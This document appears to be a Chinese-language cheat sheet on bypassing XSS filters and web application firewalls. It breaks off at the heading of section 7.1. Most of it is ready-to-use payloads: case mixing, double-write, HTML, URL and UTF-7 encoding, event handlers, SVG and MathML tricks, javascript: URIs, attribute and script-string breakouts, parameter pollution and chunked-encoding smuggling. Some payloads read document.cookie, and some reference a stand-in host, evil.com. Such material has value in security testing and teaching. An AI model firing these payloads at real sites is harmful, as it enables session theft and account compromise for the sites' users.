XSS 过滤绕过大全:20+ 种绕过技巧与真实 Payload

一、为什么绕过如此容易

现实中,开发人员对 XSS 的防御通常有两档:

防御档位 做法 效果
入门档 黑名单替换 <script> → 空字符串 🚫 很容易绕过
标准档 HTML 实体编码 + 输出上下文区分 ✅ 大部分场景有效
高阶档 CSP + DOMPurify + HttpOnly Cookie 🔒 较难绕过

本文聚焦第一档和第二档防御下的绕过技巧。对于第三档(有 CSP)的绕过,我们会在《CSP 防御绕过》一文中深入讨论。


二、黑名单过滤的经典绕过

2.1 大小写混合

当过滤器只匹配小写或标准写法时:

// 过滤规则:替换 <script> 为空
// 绕过:
<Script>alert(1)</Script>
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>

浏览器 HTML 解析器对标签名是大小写不敏感的。

2.2 双重/多重写

如果过滤器只替换一次:

// 过滤器逻辑:str.replace(/script/gi, '')
// 输入:<scrscriptipt>alert(1)</scrscriptipt>
// 输出:<script>alert(1)</script>  ← 两个 "script" 夹在一起,替换后中间的留下来
<scrscriptipt>alert(1)</scrscriptipt>

2.3 编码绕过(HTML 实体)

HTML 实体编码

// 完整实体
&#60;script&#62;alert(1)&#60;/script&#62;
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

// 部分实体(只编码关键字符)
<&#x73;cript>alert(1)</script>
<scri&#x70;t>alert(1)</script>
<scri&#112;t>alert(1)</script>

注意:HTML 实体在 HTML 解析阶段被还原,所以浏览器渲染时会把 &#x73; 还原成 s,然后执行脚本。但这只在标签之间的文本上下文中有效,如果在属性值里效果不同。

URL 编码

// 全 URL 编码
%3Cscript%3Ealert(1)%3C%2Fscript%3E

// 双重 URL 编码(如果服务端会先解码一次)
%253Cscript%253Ealert(1)%253C%252Fscript%253E
// 服务端解码一次 → %3Cscript%3Ealert(1)%3C%2Fscript%3E
// 渲染时浏览器再解码 → <script>alert(1)</script>

Unicode / UTF-7 绕过(老浏览器)

// UTF-7 编码,部分老浏览器会解码
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

// JavaScript unicode escape
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(0x31)</script>

2.4 空格与注释插入

浏览器 HTML 解析器容忍很多奇怪写法:

// 标签名内插入空字符(某些环境)
<script>alert(1)</script>

// 在标签之间插入 HTML 注释
<script><!-- comment -->alert(1)</script>

// 多个标签嵌套打破
<script>/*<script>*/alert(1)</script>

三、不用 script 标签的 XSS

3.1 事件处理器注入

HTML 标签上的事件属性在不依赖 script 标签的情况下执行代码:

// 图片加载失败触发
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<img src=x onerror='alert(1)'>
<img src=x onerror=alert('xss')>
<img src=x onerror=javascript:alert(1)>   // 错误写法

// 其他常用事件
<img src=x onerror=alert(document.cookie)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<video onerror=alert(1)></video>
<marquee onstart=alert(1)>xss</marquee>
<svg onload=alert(1)>

// 无需交互(autofocus + onfocus 配合)
<input onfocus="alert(1)" autofocus>

3.2 SVG 标签内脚本

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(1)</script>
</svg>

<svg onload=alert(1)></svg>
<svg><a><animate attributeName="href" values="javascript:alert(1)" dur="1s" repeatCount="indefinite" /></a>

// SVG foreignObject 内嵌入 HTML
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><img src=x onerror=alert(1)></div></foreignObject></svg>

3.3 MATH 标签

<math xmlns="http://www.w3.org/1998/Math/MathML">
  <mtext>
    <img src=x onerror=alert(1)>
  </mtext>
</math>

3.4 特殊标签 + javascript: 协议

// 锚点 href
<a href="javascript:alert(1)">点击</a>
<a href="javascript:alert('xss')">点击</a>

// protocol-relative 等变种
<a href="JaVaScRiPt:alert(1)">点击</a>
<a href="javascript&#058;alert(1)">点击</a>
<a href="data:text/html,<script>alert(1)</script>">点击</a>

// src 属性
<img src="javascript:alert(1)">            // 现代浏览器多数已阻止
<iframe src="javascript:alert(1)">         // 部分浏览器仍可
<embed src="javascript:alert(1)">
<object data="javascript:alert(1)">

3.5 srcdoc + iframe

// srcdoc 属性接受 HTML 字符串,不经过服务器
<iframe srcdoc="<img src=x onerror=alert(1)>">

// 实体编码绕过过滤器
<iframe srcdoc="&#x3C;img src=x onerror=alert(1)&#x3E;">

四、属性注入绕过(在 HTML 属性值内部)

4.1 经典 payload:闭合引号 + 新属性

假设输入被放进了某个 HTML 属性里:

<div id="message" class="user-input">USER_INPUT_HERE</div>

如果属性值使用双引号包裹

" onmouseover="alert(1)" x="
// 结果:
// <div id="message" class="user-input" onmouseover="alert(1)" x="">

如果属性值使用单引号包裹

' onmouseover='alert(1)' x='

如果属性值没有引号包裹

onmouseover=alert(1) x=
// 注意:如果目标属性是 value,且没有引号,可以直接写
// <input value=onfocus=alert(1) autofocus>

4.2 JavaScript 属性内注入

如果输入被放进了一个 <script> 标签的 JS 字符串中:

<script>
  var name = "USER_INPUT_HERE";
  // 或
  var name = 'USER_INPUT_HERE';
</script>

双引号内

";alert(1);//
// 结果:
// var name = "";alert(1);//";

单引号内

';alert(1);//

模板字符串内

${alert(1)}
// 结果:
// var name = `${alert(1)}`;  ← 模板表达式被执行

4.3 URL 属性内注入

假设输入被放进了 <a href="...">

javascript:alert(1)
javascript://alert(1)
javascripT:alert(1)
javaScript:alert(1)
javascript:/* comment */alert(1)

如果服务端只检查 http:// 开头但不严格:

http://evil.com" onmouseover="alert(1)
// 闭合双引号,附加事件

五、WAF(Web 应用防火墙)绕过技巧

5.1 编码绕过 WAF

WAF 通常对原始请求做正则匹配,而服务端可能会对输入做解码,形成绕过:

// WAF 拦截 <script>,但不拦截 URL 编码
// 发送双重 URL 编码请求(某些 WAF 不解码,只看原始字节)
GET /search?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E HTTP/1.1
// WAF 看到 %253Cscript%253E → 不匹配 <script> → 放行
// PHP urldecode 一次:%3Cscript%3E → 还不过滤?
// 浏览器渲染前再解码:<script>alert(1)</script> → 执行

// multipart/form-data 中利用边界
// 攻击者可以伪造 Boundary

5.2 HTTP 参数污染(HPP)

// 如果后端用的是旧版 ASP/IIS 或某些框架
// 多个同名参数时,WAF 和后端取的可能不一样
GET /search?q=safe&q=<script>alert(1)</script>

// WAF 检查第一个 q=safe → 通过
// IIS/ASP 把 q 组合为 "safe, <script>alert(1)</script>" → 包含恶意
// PHP $_GET['q'] 取最后一个 → <script>alert(1)</script>

5.3 分块传输编码绕过

POST /comment HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

5
name=
13
<scr
0a
ipt>alert(1)</s
15
cript>&msg=hi
0

// WAF 可能只看第一块(name=)→ 放过
// 后端合并后完整拼成 <script>alert(1)</script> → 执行

5.4 大小写 + 编码混合(针对 CSP nonce)

如果 CSP 使用 script-src 'nonce-xxx',但 WAF 检查不严:

// 如果开发者把 nonce 放在 URL 参数里
// (bad practice, but real world happens)
<script nonce="DYNAMIC_NONCE">alert(1)</script>
// 攻击者尝试:
<script nonce="DYNAMIC_NONCE" src="evil.js"></script>

六、浏览器解析器差异绕过

6.1 IE 特有的一些技巧

虽然 IE 已经退出历史舞台,但了解有助于理解绕过思路:

// IE 某些版本允许在 HTML 属性中写入
<img src="x" alt="onmouseover="alert(1)"">

// IE 的条件注释
<!--[if gte IE 4]><script>alert(1)</script><![endif]-->

6.2 Chrome/Firefox 差异

// 某些属性在不同浏览器下解析不同
<div onmouseover=alert(1)>hover</div>

// HTML5 中换行符 
 
      在属性值前可能被忽略
<img src=x
onerror=alert(1)>

// 斜杠作为标签名分隔符
<script/foo>alert(1)</script>
<script>alert(1)</script/foo>

6.3 0day payload(解析器混淆)

// 利用 HTML 解析器的特殊行为
<math><mtext><table><mglyph><style></table><img src=x onerror=alert(1)>

// 利用 <xmp> 标签打破(被打破后后面的内容按 HTML 解析)
<xmp><script>alert(1)</script>
</xmp>

// <noscript> + <title>
<noscript><title></title><script>alert(1)</script>

七、绕过防御型过滤器的完整 Payload 集合

7.1 只过滤